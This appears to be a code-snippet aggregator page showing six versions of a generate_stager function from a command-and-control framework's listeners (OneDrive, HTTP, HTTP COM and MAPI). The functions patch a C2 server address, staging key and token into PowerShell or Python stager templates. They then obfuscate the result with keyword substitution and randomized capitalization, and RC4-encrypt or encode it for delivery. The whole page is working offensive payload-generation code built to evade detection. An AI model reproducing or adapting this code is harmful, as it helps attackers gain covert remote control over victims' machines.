Beispiel #1
0
    def generate_stager(
        self, listenerOptions, encode=False, encrypt=True, language=None, token=None
    ):
        """
        Generate the stager code
        """

        if not language:
            print(
                helpers.color(
                    "[!] listeners/onedrive generate_stager(): no language specified"
                )
            )
            return None

        staging_key = listenerOptions["StagingKey"]["Value"]
        base_folder = listenerOptions["BaseFolder"]["Value"]
        staging_folder = listenerOptions["StagingFolder"]["Value"]
        working_hours = listenerOptions["WorkingHours"]["Value"]
        profile = listenerOptions["DefaultProfile"]["Value"]
        agent_delay = listenerOptions["DefaultDelay"]["Value"]

        if language.lower() == "powershell":
            f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath)
            stager = f.read()
            f.close()
            # Get the random function name generated at install and patch the stager with the proper function name
            stager = data_util.keyword_obfuscation(stager)

            stager = stager.replace(
                "REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder)
            )
            stager = stager.replace("REPLACE_STAGING_KEY", staging_key)
            stager = stager.replace("REPLACE_TOKEN", token)
            stager = stager.replace("REPLACE_POLLING_INTERVAL", str(agent_delay))

            if working_hours != "":
                stager = stager.replace("REPLACE_WORKING_HOURS", working_hours)

            unobfuscated_stager = ""
            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    unobfuscated_stager += line

            if encode:
                return helpers.enc_powershell(unobfuscated_stager)
            elif encrypt:
                RC4IV = os.urandom(4)
                staging_key = staging_key.encode("UTF-8")
                return RC4IV + encryption.rc4(
                    RC4IV + staging_key, unobfuscated_stager.encode("UTF-8")
                )
            else:
                return unobfuscated_stager

        else:
            print(helpers.color("[!] Python agent not available for Onedrive"))
Beispiel #2
0
    def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None, token=None):
        """
        Generate the stager code
        """

        if not language:
            print(helpers.color("[!] listeners/onedrive generate_stager(): no language specified"))
            return None

        staging_key = listenerOptions['StagingKey']['Value']
        base_folder = listenerOptions['BaseFolder']['Value']
        staging_folder = listenerOptions['StagingFolder']['Value']
        working_hours = listenerOptions['WorkingHours']['Value']
        profile = listenerOptions['DefaultProfile']['Value']
        agent_delay = listenerOptions['DefaultDelay']['Value']

        if language.lower() == 'powershell':
            f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath)
            stager = f.read()
            f.close()
            # Get the random function name generated at install and patch the stager with the proper function name
            stager = data_util.keyword_obfuscation(stager)

            stager = stager.replace("REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder))
            stager = stager.replace('REPLACE_STAGING_KEY', staging_key)
            stager = stager.replace("REPLACE_TOKEN", token)
            stager = stager.replace("REPLACE_POLLING_INTERVAL", str(agent_delay))

            if working_hours != "":
                stager = stager.replace("REPLACE_WORKING_HOURS", working_hours)

            randomized_stager = ''

            for line in stager.split("\n"):
                line = line.strip()

                if not line.startswith("#"):
                    if "\"" not in line:
                        randomized_stager += helpers.randomize_capitalization(line)
                    else:
                        randomized_stager += line

            if encode:
                return helpers.enc_powershell(randomized_stager)
            elif encrypt:
                RC4IV = os.urandom(4)
                staging_key = staging_key.encode('UTF-8')
                return RC4IV + encryption.rc4(RC4IV + staging_key, randomized_stager.encode('UTF-8'))
            else:
                return randomized_stager

        else:
            print(helpers.color("[!] Python agent not available for Onedrive"))
Beispiel #3
0
    def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="",
                        language=None):
        """
        If you want to support staging for the listener module, generate_stager must be
        implemented to return the stage1 key-negotiation stager code.
        """
        if not language:
            print(helpers.color('[!] listeners/http generate_stager(): no language specified!'))
            return None

        profile = listenerOptions['DefaultProfile']['Value']
        uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
        launcher = listenerOptions['Launcher']['Value']
        stagingKey = listenerOptions['StagingKey']['Value']
        workingHours = listenerOptions['WorkingHours']['Value']
        killDate = listenerOptions['KillDate']['Value']
        host = listenerOptions['Host']['Value']
        customHeaders = profile.split('|')[2:]

        # select some random URIs for staging from the main profile
        stage1 = random.choice(uris)
        stage2 = random.choice(uris)

        if language.lower() == 'powershell':

            # read in the stager base
            f = open("%s/data/agent/stagers/http.ps1" % (self.mainMenu.installPath))
            stager = f.read()
            f.close()
            # Get the random function name generated at install and patch the stager with the proper function name
            stager = data_util.keyword_obfuscation(stager)
            # make sure the server ends with "/"
            if not host.endswith("/"):
                host += "/"

            # Patch in custom Headers
            if customHeaders != []:
                headers = ','.join(customHeaders)
                stager = stager.replace("$customHeaders = \"\";", "$customHeaders = \"" + headers + "\";")

            # patch in working hours, if any
            if workingHours != "":
                stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)

            # Patch in the killdate, if any
            if killDate != "":
                stager = stager.replace('REPLACE_KILLDATE', killDate)

            # patch the server and key information
            stager = stager.replace('REPLACE_SERVER', host)
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('index.jsp', stage1)
            stager = stager.replace('index.php', stage2)

            randomizedStager = ''

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    # randomize capitalization of lines without quoted strings
                    if "\"" not in line:
                        randomizedStager += helpers.randomize_capitalization(line)
                    else:
                        randomizedStager += line

            if obfuscate:
                randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager,
                                                     obfuscationCommand=obfuscationCommand)
            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(randomizedStager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager)
            else:
                # otherwise just return the case-randomized stager
                return randomizedStager

        elif language.lower() == 'python':
            # read in the stager base
            f = open("%s/data/agent/stagers/http.py" % (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            stager = helpers.strip_python_comments(stager)

            if host.endswith("/"):
                host = host[0:-1]

            if workingHours != "":
                stager = stager.replace('SET_WORKINGHOURS', workingHours)

            if killDate != "":
                stager = stager.replace('SET_KILLDATE', killDate)

            # # patch the server and key information
            stager = stager.replace("REPLACE_STAGING_KEY", stagingKey)
            stager = stager.replace("REPLACE_PROFILE", profile)
            stager = stager.replace("index.jsp", stage1)
            stager = stager.replace("index.php", stage2)

            # # base64 encode the stager and return it
            if encode:
                return base64.b64encode(stager)
            if encrypt:
                # return an encrypted version of the stager ("normal" staging)
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV + stagingKey, stager)
            else:
                # otherwise return the standard stager
                return stager

        else:
            print(helpers.color(
                "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."))
Beispiel #4
0
    def generate_stager(self,
                        listenerOptions,
                        encode=False,
                        encrypt=True,
                        obfuscate=False,
                        obfuscationCommand="",
                        language=None):
        """
        Generate the stager code needed for communications with this listener.
        """

        if not language:
            print(
                helpers.color(
                    '[!] listeners/http_com generate_stager(): no language specified!'
                ))
            return None

        profile = listenerOptions['DefaultProfile']['Value']
        uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
        stagingKey = listenerOptions['StagingKey']['Value']
        host = listenerOptions['Host']['Value']
        workingHours = listenerOptions['WorkingHours']['Value']
        customHeaders = profile.split('|')[2:]

        # select some random URIs for staging from the main profile
        stage1 = random.choice(uris)
        stage2 = random.choice(uris)

        if language.lower() == 'powershell':

            # read in the stager base
            f = open("%s/data/agent/stagers/http_com.ps1" %
                     (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            # Get the random function name generated at install and patch the stager with the proper function name
            stager = data_util.keyword_obfuscation(stager)

            # make sure the server ends with "/"
            if not host.endswith("/"):
                host += "/"

            # Patch in custom Headers
            headers = ""
            if customHeaders != []:
                crlf = False
                for header in customHeaders:
                    headerKey = header.split(':')[0]
                    headerValue = header.split(':')[1]

                    # Host header TLS SNI logic done within http_com.ps1
                    if crlf:
                        headers += "`r`n"
                    else:
                        crlf = True
                    headers += "%s: %s" % (headerKey, headerValue)
                stager = stager.replace(
                    "$customHeaders = \"\";",
                    "$customHeaders = \"" + headers + "\";")

            # patch the server and key information
            stager = stager.replace('REPLACE_SERVER', host)
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('index.jsp', stage1)
            stager = stager.replace('index.php', stage2)

            # patch in working hours, if any
            if workingHours != "":
                stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)

            randomizedStager = ''
            stagingKey = stagingKey.encode('UTF-8')

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    # randomize capitalization of lines without quoted strings
                    if "\"" not in line:
                        randomizedStager += helpers.randomize_capitalization(
                            line)
                    else:
                        randomizedStager += line

            if obfuscate:
                randomizedStager = helpers.obfuscate(
                    self.mainMenu.installPath,
                    randomizedStager,
                    obfuscationCommand=obfuscationCommand)
            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(randomizedStager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV + stagingKey,
                                              randomizedStager.encode('UTF-8'))
            else:
                # otherwise just return the case-randomized stager
                return randomizedStager

        else:
            print(
                helpers.color(
                    "[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module."
                ))
Beispiel #5
0
    def generate_stager(self,
                        listenerOptions,
                        encode=False,
                        encrypt=True,
                        language="powershell"):
        """
        Generate the stager code needed for communications with this listener.
        """

        #if not language:
        #    print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!')
        #    return None

        profile = listenerOptions['DefaultProfile']['Value']
        uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
        stagingKey = listenerOptions['StagingKey']['Value']
        host = listenerOptions['Host']['Value']
        workingHours = listenerOptions['WorkingHours']['Value']
        folder = listenerOptions['Folder']['Value']

        if language.lower() == 'powershell':

            # read in the stager base
            f = open("%s/data/agent/stagers/http_mapi.ps1" %
                     (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            # Get the random function name generated at install and patch the stager with the proper function name
            stager = data_util.keyword_obfuscation(stager)

            # make sure the server ends with "/"
            if not host.endswith("/"):
                host += "/"

            # patch the server and key information
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('REPLACE_FOLDER', folder)

            # patch in working hours if any
            if workingHours != "":
                stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)

            randomizedStager = ''

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    # randomize capitalization of lines without quoted strings
                    if "\"" not in line:
                        randomizedStager += helpers.randomize_capitalization(
                            line)
                    else:
                        randomizedStager += line

            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(randomizedStager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV + stagingKey,
                                              randomizedStager)
            else:
                # otherwise just return the case-randomized stager
                return randomizedStager
        else:
            print(
                helpers.color(
                    "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module."
                ))
Beispiel #6
0
    def generate_stager(
        self,
        listenerOptions,
        encode=False,
        encrypt=True,
        obfuscate=False,
        obfuscationCommand="",
        language=None,
    ):
        """
        Generate the stager code needed for communications with this listener.
        """

        if not language:
            print(
                helpers.color(
                    "[!] listeners/http_com generate_stager(): no language specified!"
                )
            )
            return None

        profile = listenerOptions["DefaultProfile"]["Value"]
        uris = [a.strip("/") for a in profile.split("|")[0].split(",")]
        stagingKey = listenerOptions["StagingKey"]["Value"]
        host = listenerOptions["Host"]["Value"]
        workingHours = listenerOptions["WorkingHours"]["Value"]
        customHeaders = profile.split("|")[2:]

        # select some random URIs for staging from the main profile
        stage1 = random.choice(uris)
        stage2 = random.choice(uris)

        if language.lower() == "powershell":

            # read in the stager base
            f = open("%s/data/agent/stagers/http_com.ps1" % (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            # Get the random function name generated at install and patch the stager with the proper function name
            stager = data_util.keyword_obfuscation(stager)

            # make sure the server ends with "/"
            if not host.endswith("/"):
                host += "/"

            # Patch in custom Headers
            headers = ""
            if customHeaders != []:
                crlf = False
                for header in customHeaders:
                    headerKey = header.split(":")[0]
                    headerValue = header.split(":")[1]

                    # Host header TLS SNI logic done within http_com.ps1
                    if crlf:
                        headers += "`r`n"
                    else:
                        crlf = True
                    headers += "%s: %s" % (headerKey, headerValue)
                stager = stager.replace(
                    '$customHeaders = "";', '$customHeaders = "' + headers + '";'
                )

            # patch the server and key information
            stager = stager.replace("REPLACE_SERVER", host)
            stager = stager.replace("REPLACE_STAGING_KEY", stagingKey)
            stager = stager.replace("index.jsp", stage1)
            stager = stager.replace("index.php", stage2)

            # patch in working hours, if any
            if workingHours != "":
                stager = stager.replace("WORKING_HOURS_REPLACE", workingHours)

            unobfuscated_stager = ""
            stagingKey = stagingKey.encode("UTF-8")

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    unobfuscated_stager += line

            if obfuscate:
                unobfuscated_stager = data_util.obfuscate(
                    self.mainMenu.installPath,
                    unobfuscated_stager,
                    obfuscationCommand=obfuscationCommand,
                )
            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(unobfuscated_stager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(
                    RC4IV + stagingKey, unobfuscated_stager.encode("UTF-8")
                )
            else:
                # otherwise just return the case-randomized stager
                return unobfuscated_stager

        else:
            print(
                helpers.color(
                    "[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module."
                )
            )